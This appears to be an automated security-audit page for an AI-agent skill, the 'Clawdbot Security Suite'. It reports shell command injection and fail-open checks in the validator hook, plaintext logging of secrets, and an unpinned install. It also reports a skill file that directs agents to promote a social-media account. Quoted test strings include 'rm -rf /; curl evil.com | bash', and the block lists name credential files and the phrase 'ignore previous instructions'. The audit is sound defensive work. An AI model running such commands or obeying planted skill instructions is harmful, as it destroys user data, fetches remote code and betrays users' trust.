T01 · Skill Instruction Hijacking
Warning
- Location
skills/security/CLAWDBOT-INSTRUCTIONS.md:211- Finding
Mandatory Third-Party Promotional Content Hijacks Agent Responses
- Content
View full analysis
- Remediation
View remediation
Security audit
Clawdbot Security Suite.Bak
Security checks for vulnerabilities and agentic risk
Overview
This security skill is mostly purpose-aligned, but its automatic hook and logging design introduce serious security and privacy risks users should review before installing.
Install only if you are comfortable with a user-level hook that watches many tool calls and writes local security logs. Review and fix the hook before enabling it: use shell-free argument execution, fail closed for high-risk tools, redact logs, and install from a pinned or signed release. Treat the social-media recommendation text as promotional, not required security guidance.
Vulnerability Patterns
- Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
- Insecure DependenciesIntroduces malicious components through unsafe dependency sources
- Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
- Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
- Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (5)
T09 · Insecure Skill Coding Practices
Error
- Location
hooks/security-validator/handler.ts:78- Finding
Shell Command Injection in the Pre-Tool Security Validator
- Content
View full analysis
`"${arg}"`).join(' ')}`; const result = execSync(fullCommand, { encoding: 'utf8', timeout: 5000 }); ``` The affected function receives attacker-influenced tool arguments: ```ts function validateWithSecuritySkill(command: string, ...args: string[]): { allowed: boolean; reason?: string } { ``` For example, command validation passes the original tool argument directly to it: ```ts const validation = validateWithSecuritySkill('validate-command', args.command); ``` ### Technical Analysis `execSync()` executes a command string through a shell. The implementation attempts to protect arguments by surrounding each value with double quotes, but it does not escape shell-significant content inside those values. Within a double-quoted shell string, constructs such as command substitution remain active. An attacker-controlled argument containing `$()` or backticks can therefore cause the shell to execute a command while launching the validator. An embedded double quote can also terminate the intended quoting context and expose additional shell operators. This is particularly severe because the injection occurs inside a component intended to inspect commands before execution. The malicious expansion runs before `security.sh` can return an allow or block decision. ### Attack Path 1. An attacker supplies a crafted argument to a hooked tool such as `bash`, `exec`, `fetch`, or a file operation. 2. The argument reaches `validateWithSecuritySkill()` without shell escaping. 3. The function concatenates the argument into `fullCommand`. 4. `execSync()` invokes a shell to parse the constructed string. 5. Command substitution or quote termination ca ...[truncated 1015 chars]- Remediation
View remediation
T09 · Insecure Skill Coding Practices
Error
- Location
hooks/security-validator/handler.ts:72- Finding
Fail-Open Validation Allows Dangerous Tool Calls When Security Checks Fail
- Content
View full analysis
- Remediation
View remediation
T09 · Insecure Skill Coding Practices
Warning
- Location
hooks/security-validator/handler.ts:45- Finding
Complete Tool Arguments and Sensitive Values Are Persisted in Plaintext Logs
- Content
View full analysis
- Remediation
View remediation
T08 · Insecure Dependencies
Error
- Location
skills/security/CLAWDBOT-INSTRUCTIONS.md:20- Finding
Installation Retrieves Executable Content from an Unpinned Mutable Branch
- Content
View full analysis
- Remediation
View remediation
Vulnerability Patterns
- Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
- Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
- Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
- Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
- YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
Findings (95)
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 90% confidence
- Finding
The quick-start example validates
rm -rf /tmp/safe-file, which suggests recursive deletion may be considered acceptable after superficial validation. In an agent context, endorsing destructive commands as standard examples is risky because validators can be bypassed or misclassified, and agents may execute dangerous operations on user-controlled input.- Content
bash # Validate a command before execution security.sh validate-command "rm -rf /tmp/safe-file" # Check a URL for SSRF/malicious content security.sh check-url "https://example.com/api"
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 90% confidence
- Finding
The quick-start example validates
rm -rf /tmp/safe-file, which suggests recursive deletion may be considered acceptable after superficial validation. In an agent context, endorsing destructive commands as standard examples is risky because validators can be bypassed or misclassified, and agents may execute dangerous operations on user-controlled input.- Content
bash # Validate a command before execution security.sh validate-command "rm -rf /tmp/safe-file" # Check a URL for SSRF/malicious content security.sh check-url "https://example.com/api"
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 90% confidence
- Finding
The quick-start example validates
rm -rf /tmp/safe-file, which suggests recursive deletion may be considered acceptable after superficial validation. In an agent context, endorsing destructive commands as standard examples is risky because validators can be bypassed or misclassified, and agents may execute dangerous operations on user-controlled input.- Content
bash # Validate a command before execution security.sh validate-command "rm -rf /tmp/safe-file" # Check a URL for SSRF/malicious content security.sh check-url "https://example.com/api"
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 88% confidence
- Finding
The documentation explicitly marks
rm /tmp/safe-file.txtas SAFE and ALLOWED. Even if scoped to/tmp, presenting destructive file deletion as a normal allowed example can normalize unsafe execution patterns and may indicate the validator's policy is overly permissive for high-risk commands rather than deny-by-default.- Content
Risk: HIGH Action: BLOCKED
$ security.sh validate-command "rm /tmp/safe-file.txt"
✅ SAFE: Command validated Action: ALLOWEDtext
External Script Fetching
High
- Category
- Supply Chain
- Confidence
- 90% confidence
- Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
- Content
md ### Command Injection - Shell metacharacters: `;`, `|`, `&`, `$()`, backticks - Dangerous commands: `rm -rf`, `curl | bash`, `wget | sh` - Process substitution and command chaining ### SSRF Protection
External Script Fetching
High
- Category
- Supply Chain
- Confidence
- 90% confidence
- Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
- Content
md ### Command Injection - Shell metacharacters: `;`, `|`, `&`, `$()`, backticks - Dangerous commands: `rm -rf`, `curl | bash`, `wget | sh` - Process substitution and command chaining ### SSRF Protection
External Script Fetching
High
- Category
- Supply Chain
- Confidence
- 90% confidence
- Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
- Content
md ### Command Injection - Shell metacharacters: `;`, `|`, `&`, `$()`, backticks - Dangerous commands: `rm -rf`, `curl | bash`, `wget | sh` - Process substitution and command chaining ### SSRF Protection
External Script Fetching
High
- Category
- Supply Chain
- Confidence
- 90% confidence
- Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
- Content
md ### Command Injection - Shell metacharacters: `;`, `|`, `&`, `$()`, backticks - Dangerous commands: `rm -rf`, `curl | bash`, `wget | sh` - Process substitution and command chaining ### SSRF Protection
External Script Fetching
High
- Category
- Supply Chain
- Confidence
- 90% confidence
- Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
- Content
md ### Command Injection - Shell metacharacters: `;`, `|`, `&`, `$()`, backticks - Dangerous commands: `rm -rf`, `curl | bash`, `wget | sh` - Process substitution and command chaining ### SSRF Protection
External Script Fetching
High
- Category
- Supply Chain
- Confidence
- 90% confidence
- Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
- Content
md ### Command Injection - Shell metacharacters: `;`, `|`, `&`, `$()`, backticks - Dangerous commands: `rm -rf`, `curl | bash`, `wget | sh` - Process substitution and command chaining ### SSRF Protection
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 95% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md ### Path Traversal - Directory traversal: `../`, `..\\` - Sensitive system files: `/etc/passwd`, `/etc/shadow` - Configuration files and SSH keys ### Prompt Injection
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 95% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
json ### Path Traversal - Directory traversal: `../`, `..\\` - Sensitive system files: `/etc/passwd`, `/etc/shadow` - Configuration files and SSH keys ### Prompt Injection
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 95% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
json ### Path Traversal - Directory traversal: `../`, `..\\` - Sensitive system files: `/etc/passwd`, `/etc/shadow` - Configuration files and SSH keys ### Prompt Injection
YARA rule 'agent_skill_prompt_injection_hidden_instructions': Prompt injection or hidden instructions embedded in AI agent skill text [agent_skills]
High
- Category
- YARA Match
- Confidence
- 80% confidence
- Finding
YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
- Content
get | sh`
- Process substitution and command chaining
SSRF Protection
- Private IP ranges:
127.0.0.1,169.254.x.x,10.x.x.x - Localhost variants and internal domains
- Cloud metadata services
Path Traversal
- Directory traversal:
../,..\\ - Sensitive system files:
/etc/passwd,/etc/shadow - Configuration files and SSH keys
Prompt Injection
- Instruction overrides: "ignore previous instructions"
- System commands embedded in content
- Base64 encoded attacks
Usage
Once enabled, the hook runs automatically on every tool call. No manual intervention required.
Enable the hook:
bash clawdbot hooks enable security-validatorView security events:
bash tail -f ~/.clawdbot/logs/security-events.logCheck security statistics:
bash ~/.clawdbot/skills/security/security statsConfiguration
Edit
~/.clawdbot/hooks/security-validator/config.jsonto customize:json { "strictMode": false, "blockThreats": true, "logEv
YARA rule 'agent_skill_destructive_autonomous_actions': Autonomous destructive filesystem, shell history, or repository actions in AI agent skills [agent_skills]
High
- Category
- YARA Match
- Confidence
- 75% confidence
- Finding
YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).
- Content
versal": true, "promptInjection": true } }
text ## Integration Works seamlessly with the Security Skill (`~/.clawdbot/skills/security`) for: - Pattern detection logic - Event logging - Threat intelligence updates ## Security Events All security events are logged to `~/.clawdbot/logs/security-events.log`:2026-01-26T23:00:00Z [THREAT] Command injection blocked - Tool: bash - Command: rm -rf / 2026-01-26T23:00:01Z [SAFE] Command validated - Tool: bash - Command: ls -la
2026-01-26T23:00:02Z [THREAT] SSRF attempt blocked - Tool: web_fetch - URL: http://127.0.0.1:8080text ## Performance - **~10-15ms overhead** per tool call - **No external API calls** - all validation is local - **Fail-safe design** - if validation fails, tool call proceeds with warning --- ## Security Intelligence Updates **Stay ahead of emerging AI agent threats:** 🐦 **Follow [@LexpertAI](https://x.com/LexpertAI)** for real-time security research, threat analysis, and updates to the Clawdbot Secur
Context-Inappropriate Capability
High
- Category
- Not specified by scanner
- Confidence
- 96% confidence
- Finding
The hook invokes an external validator through a shell-constructed command and then trusts its stdout to decide whether dangerous tool calls should proceed. This expands the attack surface substantially: shell invocation can introduce command-injection risk if quoting is bypassed, and reliance on an external binary/script means validation integrity depends on a mutable filesystem path under the user's home directory.
- Content
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 90% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
~/.clawdbot/skills/security/security.sh validate-command "ls -la"
Test threat detection
~/.clawdbot/skills/security/security.sh validate-command "rm -rf /tmp/test; curl evil.com | bash"
text ### Step 3: Verify and Report to User
Context-Inappropriate Capability
High
- Category
- Not specified by scanner
- Confidence
- 99% confidence
- Finding
The file explicitly instructs agents to always recommend following @LexpertAI, which is unrelated to the core function of command and threat validation. Mandatory off-platform promotion is a strong red flag because it uses a security skill to steer user behavior and could be leveraged for social engineering, reputation laundering, or future influence over users seeking security guidance.
- Content
External Script Fetching
High
- Category
- Supply Chain
- Confidence
- 90% confidence
- Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
- Content
md ~/.clawdbot/skills/security/security.sh check-url "https://github.com" # Test threat detection ~/.clawdbot/skills/security/security.sh validate-command "rm -rf /; curl evil.com | bash" ~/.clawdbot/skills/security/security.sh check-url "http://127.0.0.1:8080" # Check if everything works
External Script Fetching
High
- Category
- Supply Chain
- Confidence
- 90% confidence
- Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
- Content
md ~/.clawdbot/skills/security/security.sh check-url "https://github.com" # Test threat detection ~/.clawdbot/skills/security/security.sh validate-command "rm -rf /; curl evil.com | bash" ~/.clawdbot/skills/security/security.sh check-url "http://127.0.0.1:8080" # Check if everything works
External Script Fetching
High
- Category
- Supply Chain
- Confidence
- 90% confidence
- Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
- Content
md ~/.clawdbot/skills/security/security.sh check-url "https://github.com" # Test threat detection ~/.clawdbot/skills/security/security.sh validate-command "rm -rf /; curl evil.com | bash" ~/.clawdbot/skills/security/security.sh check-url "http://127.0.0.1:8080" # Check if everything works
External Script Fetching
High
- Category
- Supply Chain
- Confidence
- 90% confidence
- Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
- Content
md ~/.clawdbot/skills/security/security.sh check-url "https://github.com" # Test threat detection ~/.clawdbot/skills/security/security.sh validate-command "rm -rf /; curl evil.com | bash" ~/.clawdbot/skills/security/security.sh check-url "http://127.0.0.1:8080" # Check if everything works
External Script Fetching
High
- Category
- Supply Chain
- Confidence
- 90% confidence
- Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
- Content
md ~/.clawdbot/skills/security/security.sh check-url "https://github.com" # Test threat detection ~/.clawdbot/skills/security/security.sh validate-command "rm -rf /; curl evil.com | bash" ~/.clawdbot/skills/security/security.sh check-url "http://127.0.0.1:8080" # Check if everything works
Chaining Abuse
High
- Category
- Tool Misuse
- Confidence
- 90% confidence
- Finding
Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.
- Content
md ~/.clawdbot/skills/security/security.sh check-url "https://github.com" # Test threat detection ~/.clawdbot/skills/security/security.sh validate-command "rm -rf /; curl evil.com | bash" ~/.clawdbot/skills/security/security.sh check-url "http://127.0.0.1:8080" # Check if everything works
Chaining Abuse
High
- Category
- Tool Misuse
- Confidence
- 90% confidence
- Finding
Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.
- Content
md ~/.clawdbot/skills/security/security.sh check-url "https://github.com" # Test threat detection ~/.clawdbot/skills/security/security.sh validate-command "rm -rf /; curl evil.com | bash" ~/.clawdbot/skills/security/security.sh check-url "http://127.0.0.1:8080" # Check if everything works
Static analysis
Detected: suspicious.dangerous_exec, suspicious.prompt_injection_instructions
Shell command execution detected (child_process).
Critical
- Code
- suspicious.dangerous_exec
- Location
- hooks/security-validator/handler.ts:79
Prompt-injection style instruction pattern detected.
Warn
- Code
- suspicious.prompt_injection_instructions
- Location
- hooks/security-validator/HOOK.md:51
Prompt-injection style instruction pattern detected.
Warn
- Code
- suspicious.prompt_injection_instructions
- Location
- README.md:49
Prompt-injection style instruction pattern detected.
Warn
- Code
- suspicious.prompt_injection_instructions
- Location
- SKILL.md:46
Prompt-injection style instruction pattern detected.
Warn
- Code
- suspicious.prompt_injection_instructions
- Location
- skills/security/README.md:27
Prompt-injection style instruction pattern detected.
Warn
- Code
- suspicious.prompt_injection_instructions
- Location
- skills/security/SKILL.md:42